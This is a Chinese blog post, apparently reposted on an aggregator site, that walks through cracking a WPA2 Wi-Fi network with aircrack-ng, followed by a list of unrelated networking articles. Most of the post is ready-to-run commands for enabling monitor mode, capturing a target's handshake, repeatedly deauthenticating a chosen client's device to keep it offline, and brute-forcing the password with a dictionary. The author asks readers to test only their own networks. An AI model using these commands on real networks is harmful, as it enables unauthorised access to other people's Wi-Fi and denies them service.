Wi-Fi 破解 (基于WPA2协议)

2023-10-28 03:30
文章标签 协议 破解 wi fi wpa2

本文主要是介绍Wi-Fi 破解 (基于WPA2协议),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

如今信息安全越来越热门,最近搞大创项目有机会接触到了我们一直谈论的Wi-Fi破解技术,于是整理了一些关于Wi-Fi破解的东西分享给大家,包括一些Wi-Fi的基本知识。希望大家只是拿自己的Wi-Fi做实验,不要“Wi-Fi破解,从入门到入狱”噢。

首先先提出一些基本概念:
第一个概念是无线网络的攻击基本类型:
1.防御完全无效:悄无声息安全通过
2.防御存在障碍:攻击这种网络通常情况下需要一个字典,通过字典攻击拿到基于“有线等效保密协议”和“Wi-Fi保护访问的预共享密钥”

WEP:有线等效保密协议
WPA:Wi-Fi保护访问
WPA-PSK:pre-shared key(Wi-Fi保护访问下的预共享密钥)
BSSID:路由器的mac地址

目前我们普遍使用的是WPA2协议支持的Wi-Fi安全机制。就在半个月前样子,网络上就曝出了WPA2协议层出现巨大漏洞,导致用户登录网站的用户名和密码可以被破解获得,所以WPA2也不再绝对安全了。
我自己的实验是基于Linux Ubuntu 16.04 操作系统,由于系统搭建在VMWare虚拟机上,所以需要使用外接网卡,我使用的是360无线网卡(市面上随处可见)但是对于网卡有个硬件要求就是需要支持监听模式(monitor)并且在多个操作系统上都能运行。如果不支持监听模式,那么就无法抓取到受害者的Wi-Fi数据包。

Linux下的工具有很多,在本次实验中我使用aircrack-ng去抓取数据包并使用字典暴力破解。

第一部分:
安装aircrack-ng与wireshark,这个很简单,在Linux命令行下直接输入这两个软件的名字,按照提示使用apt-get即可。
为了方便,先在命令行输入:sudo su 输入用户密码获得管理员权限,这样后面开启监听模式就不会遇到权限不够等问题。并且使用iwconfig查看是否读取到网卡的数据,若出现外接网卡的数据说明连接成功。然后点击右上角图标将Wi-Fi关闭。
此处的外接360网卡名字为wlx0087

第二部分:
不废话直接上指令:

以下是基于Linux操作系统的aircrack-ng操作命令

1. 需要先关闭Wi-Fi,将无线网卡的模式调至monitor

iwconfig wlx0087 mode monitor

2.打开无线网卡的监听模式

airmon-ng start wlx0087 6 

3.kill PID 杀死多余进程

kill PID pid_num

4.关闭防火墙

rfkill unblock all

5. 使用mon0 -9 是数据包注入测试

aireplay-ng -9 mon0

假设AB:CD:EF:GH:IJ:KL为路由器的MAC地址,MN:OP:QR:ST:UV:WX为你要攻击的用户MAC地址······

6. 开始抓包,并将数据存储到output为名字的文件里,一般保存在当前目录

airodump-ng -c 6 --bssid AB:CD:EF:GH:IJ:KL -w output mon0

7. 使用户掉线重连,用于抓取握手包

aireplay-ng -0 1 -a AB:CD:EF:GH:IJ:KL -c MN:OP:QR:ST:UV:WX mon0

小TIP:此处的命令若改成sudo aireplay-ng --deauth 1/0(0表示无限次) -a AB:CD:EF:GH:IJ:KL(指定基本服务集标识) -c MN:OP:QR:ST:UV:WX(指定目标地址) mon0

deauth后面的参数设置成0,这意味着数据包的无限注入,这样如果黑客不停止数据包注入,你将永远连不上自己的Wi-Fi并始终处于掉线模式,经过实验发现我自己的苹果手机是可以被攻击的。

8. 使用字典开始暴力破解

aircrack-ng -w dict.txt -b MN:OP:QR:ST:UV:WX output*.cap

所谓字典dict.txt就是含有众多密码的记事本,这个可以去GitHub上进行搜索,也可以自己制作一本。

以上就是我进行的Wi-Fi攻击破解实验操作步骤,有些地方可能还不完善,希望各位大佬提出意见,我后面也会放入实验图片继续完善这篇博文(小笔记)  :)

喜欢的话别忘了关注微信公众号噢~分享技术干货的地方!

这篇关于Wi-Fi 破解 (基于WPA2协议)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/290393

相关文章

Java如何接收并解析HL7协议数据

《Java如何接收并解析HL7协议数据》文章主要介绍了HL7协议及其在医疗行业中的应用,详细描述了如何配置环境、接收和解析数据,以及与前端进行交互的实现方法,文章还分享了使用7Edit工具进行调试的经... 目录一、前言二、正文1、环境配置2、数据接收:HL7Monitor3、数据解析:HL7Busines

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

【Go】go连接clickhouse使用TCP协议

离开你是傻是对是错 是看破是软弱 这结果是爱是恨或者是什么 如果是种解脱 怎么会还有眷恋在我心窝 那么爱你为什么                      🎵 黄品源/莫文蔚《那么爱你为什么》 package mainimport ("context""fmt""log""time""github.com/ClickHouse/clickhouse-go/v2")func main(

2024.9.8 TCP/IP协议学习笔记

1.所谓的层就是数据交换的深度,电脑点对点就是单层,物理层,加上集线器还是物理层,加上交换机就变成链路层了,有地址表,路由器就到了第三层网络层,每个端口都有一个mac地址 2.A 给 C 发数据包,怎么知道是否要通过路由器转发呢?答案:子网 3.将源 IP 与目的 IP 分别同这个子网掩码进行与运算****,相等则是在一个子网,不相等就是在不同子网 4.A 如何知道,哪个设备是路由器?答案:在 A

Modbus-RTU协议

一、协议概述 Modbus-RTU(Remote Terminal Unit)是一种基于主从架构的通信协议,采用二进制数据表示,消息中的每个8位字节含有两个4位十六进制字符。它主要通过RS-485、RS-232、RS-422等物理接口实现数据的传输,传输距离远、抗干扰能力强、通信效率高。 二、报文结构 一个标准的Modbus-RTU报文通常包含以下部分: 地址域:单个字节,表示从站设备

网络原理之TCP协议(万字详解!!!)

目录 前言 TCP协议段格式 TCP协议相关特性 1.确认应答 2.超时重传 3.连接管理(三次握手、四次挥手) 三次握手(建立TCP连接) 四次挥手(断开连接)  4.滑动窗口 5.流量控制 6.拥塞控制 7.延迟应答 8.捎带应答  9.基于字节流 10.异常情况的处理 小结  前言 在前面,我们已经讲解了有关UDP协议的相关知识,但是在传输层,还有

DNS协议基础笔记

1.定义 DNS(Domain Name System,域名系统)是互联网的一项核心服务,它作为将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。 2.域名解析过程 当用户在浏览器中输入一个域名,浏览器首先会检查自己的缓存中是否有该域名对应的 IP 地址。本地 DNS 服务器收到查询请求后,首先会检查自己的缓存中是否有该域名对应的 IP 地址。根域名服务器收到查询请

4G模块、WIFI模块、NBIOT模块通过AT指令连接华为云物联网服务器(MQTT协议)

MQTT协议概述 MQTT(Message Queuing Telemetry Transport)是一种轻量级的消息传输协议,它被设计用来提供一对多的消息分发和应用之间的通讯,尤其适用于远程位置的设备和高延迟或低带宽的网络。MQTT协议基于客户端-服务器架构,客户端可以订阅任意数量的主题,并可以发布消息到这些主题。服务器(通常称为MQTT Broker)则负责接受来自客户端的连接请求,并转发消

HTTP协议 HTTPS协议 MQTT协议介绍

目录 一.HTTP协议 1. HTTP 协议介绍 基本介绍: 协议:  注意: 2. HTTP 协议的工作过程 基础术语: 客户端: 主动发起网络请求的一端 服务器: 被动接收网络请求的一端 请求: 客户端给服务器发送的数据 响应: 服务器给客户端返回的数据 HTTP 协议的重要特点: 一发一收,一问一答 注意: 网络编程中,除了一发一收之外,还有其它的模式 二.HTT

CAMediaTiming协议

今天看下下CALayer这个类,里面的属性是实现CAMediaTiming这个协议的,这里简单介绍一下CAMediaTiming协议里面的属性。官网链接 如下 beginTime:开始时间(和父类相关) timeOffset:动态的本地时间t,tp是父类事件。t = (tp - begin) * speed + offset.用于暂停一个layer。  fillMode:layer完成后的